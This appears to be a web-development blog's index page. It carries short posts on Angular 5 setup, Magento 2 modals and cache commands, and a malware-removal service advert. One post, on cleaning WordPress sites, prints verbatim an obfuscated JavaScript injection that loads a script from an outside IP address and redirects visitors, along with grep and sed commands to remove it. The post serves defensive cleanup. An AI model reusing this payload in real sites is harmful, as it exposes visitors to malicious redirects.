WebSecuritySpecialist
Hire Us For Secure Web Development and Security

Saturday, 3 March 2018

Angular 5 Components

March 03, 2018
Angular 5 Components

Angular 5 components reside within the /src/app folder -

What are Components?
Components are the most basic building block of an UI in your Angular App. An Angular application is a tree of Angular components. Angular components are a subset of directives. Unlike directives, components always have a template and only one component can be instantiated per an element in a template.

Creating a New Component
You can create a component using the Angular CLI command -
ng generate component Your-Component-Name
OR
ng g component home
Output -

  create src/app/home/home.component.html
  create src/app/home/home.component.spec.ts
  create src/app/home/home.component.ts
  create src/app/home/home.component.scss
  update src/app/app.module.ts
Finally created a new component named home successfully. Its time to run the app.
ng serve

Read More

Angular 5 Folder Structure

March 03, 2018
Angular 5 Folder Structure

When we install a new Angular 5 App it creates multiple files and folders like the screenshot below -





e2e

e2e stands for "end to end", we can write the end to end test here.
The end to end test is basically an automated test that simulates a real user.

node_module

In this folder, you can find all the third party libraries on which the application may depend.
This folder is purely for development.

src

This folder contains the actual source code for developers.

   - app folder
    Which contains all the “modules” and “components” of your application.
    Every application has at least one “module” and one “component”.

   - assets folder
    Where we can store static assets of our application for example images, css, js etc.

   - environment folder
    Where we can store configuration settings for different environments. Basically, this folder contains two files,

        environment.prod.ts file for the production environment.
        environment.ts file for the development environment.

favicon.ico is an icon file of your app.

index.html file contains our Angular application. All other pages are dynamically inserted into the page.

main.ts file is a TypeScript file. It is the starting point of our application.

pollyfills.ts file basically imports scripts required for running Angular app because angular framework uses the features of javascript which are not available in the current version of javascript supported by the most browser.

style.css is where we can add global styles for our applications.

test.ts file is used for setting the testing environment

angular-cli.json is standard configuration file of your application

editorconfig file is used when you are working in a team environment.

gitignore file is used for exporting files and folders to/from your git repository.

Karma.conf.js file is used to store the setting of Karma i.e. test cases.

package.json file is a standard file. It holds thelike name of the project, versions information, dependencies and dev-dependencies settings.

tsconfig.json file has a bunch of settings of TypeScript compiler.

tslint.json file checks your TypeScript code for readability, maintainability and functionality errors.
Read More

Friday, 2 March 2018

Getting Started with Angular 5

March 02, 2018
Getting Started with Angular 5



Getting Started with Angular 5



Angular 5 - One framework for Mobile & desktop
Angular 5 is one of most popular modern frontend Javascript framework. Its actively developed by Google. It allows you to build beautiful and flexible user interfaces with the familiarity of Javascript. 

Requirements -

Nodejs (NPM) - https://nodejs.org/en/download/
Angular CLI - https://cli.angular.io/

Once you setup the Nodejs on your system verify its version with following commands -
npm -v
node -v
Installing Angular CLI with the following command -
 npm install -g @angular/cli

Verify Angular CLI version with following command -
ng -v


Best Angular 5 and Typescript IDE -

Visual Studio Code  - https://code.visualstudio.com/


Creating your first Angular 5 App with the following command -
ng new myFirstAngularApp
Once the installation is done for the basic setup of the framework, Navigate to the directory myFirstAngularApp
 cd myFirstAngularApp
After that download the node_modules using the following command -
npm install
Once the node_modules downloaded successfully Its time to run the App.
ng serve

Horray... Your first Angular 5 app is listening on the port http://localhost:4200 or http://127.0.0.1:4200
Read More

Saturday, 9 December 2017

WordPress Malware Removal Infecting js files

December 09, 2017
WordPress Malware Removal Infecting js files

WordPress Malware Removal Infecting js files



A Recent WordPress Malware Infecting infecting WordPress websites files injecting a piece of  malicious code to Javascript files (Mostly jQuery library files) and leads to website redirect to spam affiliate website.


var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))

I was recently cleaning a server for malware hosting 99+ WordPress Websites. I notice the similar kind of injection in all the Javascript files.

I have scanned the server with command  -
grep -rnw . -e '_0xaae8'
To remove the malware command line I used the command -
grep -rl  '_0xaae8' . | xargs sed -i 's/var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))/ /g'
But later I have upgraded the WordPress to latest version and implement the security. Also uploaded the fresh jQuery library files.

Read More

Sunday, 29 October 2017

Magento 2 UI Library - JavaScript Modal Widget

October 29, 2017
Magento 2 UI Library - JavaScript Modal Widget

Magento 2 UI Library - JavaScript Modal Widget


Magento 2 has built in UI Library for the Javascript Modal Popup.
To achieve the Custom Modal Popup in your Magento 2 website.

Html Code -

<div id="popup-modal-custom" style="display: none;">
// Your Content Goes Here 
</div>

<a href="#" id="buttonid">Open Modal</a>

Javascript Code -

<script>
    require([
        'jquery',
        'Magento_Ui/js/modal/modal'
    ], function ($, modal) {

            var options = {
                'type': 'popup',
                'modalClass': 'your_popup_custom_class',
                'responsive': true,
                'innerScroll': true,
                'buttons': [{
                    text: $.mage.__('Close'),
                    class: 'back_button_class',
                    click: function () {
                        this.closeModal();
                        // any javascript coode
                    }
                }]
            };  

            var popup = modal(options, $('#popup-modal-custom'));
            $("#buttonid").on('click',function(){
                $("#popup-modal-custom").modal("openModal");
            });


    });
</script>

You can add the above code in the phtml file and on frontend modal will show up.
If you still get any issue, we are happy to assist you - feel free to drop us an email.

Read More

Thursday, 24 August 2017

Malware and Blacklist Removal

August 24, 2017
Malware and Blacklist Removal
Websites often get Blacklisted due to following malware infections -
Backdoors (e.g., C99, R57, Webshells)
Website Defacement
Obfuscated JavaScipt Injections
Hidden & Malicious iFrames
Embedded Trojans
Phishing Attempts
Malicious Redirects
Adult Websites Redirection
Mobile JS Redirect

You can Hire us to Remove Malware & Blacklist. We promise to get the website restored to running state.
- Magento Malware Removal
- WordPress Malware Removal
- Joomla Malware Removal
- Drupal Malware Removal
- Opencart Malware Removal

Email - hello@websecurityspecialist.in
Skype - deepanshukapoor21
Read More

Saturday, 19 August 2017

Magento 2 - Cache Handling Command Line

August 19, 2017
Magento 2 - Cache Handling Command Line


Flush, Enable, Disable Cache Command Line in Magento 2

Using Magneto CLI we can handle cache -

1) Check Magento 2 Cache Status -

php bin/magento cache:status  
2) Clean Magento 2 Cache -  
php bin/magento cache:clean  
3) Flush Magento 2 Cache Storage -
php bin/magento cache:flush  
4) Disable Magento 2 Cache -
php bin/magento cache:disable 
5) Enable Magento 2 Cache -
php bin/magento cache:enable 
Hope this article help you handling the Magento 2 Cache using Magento CLI

Read More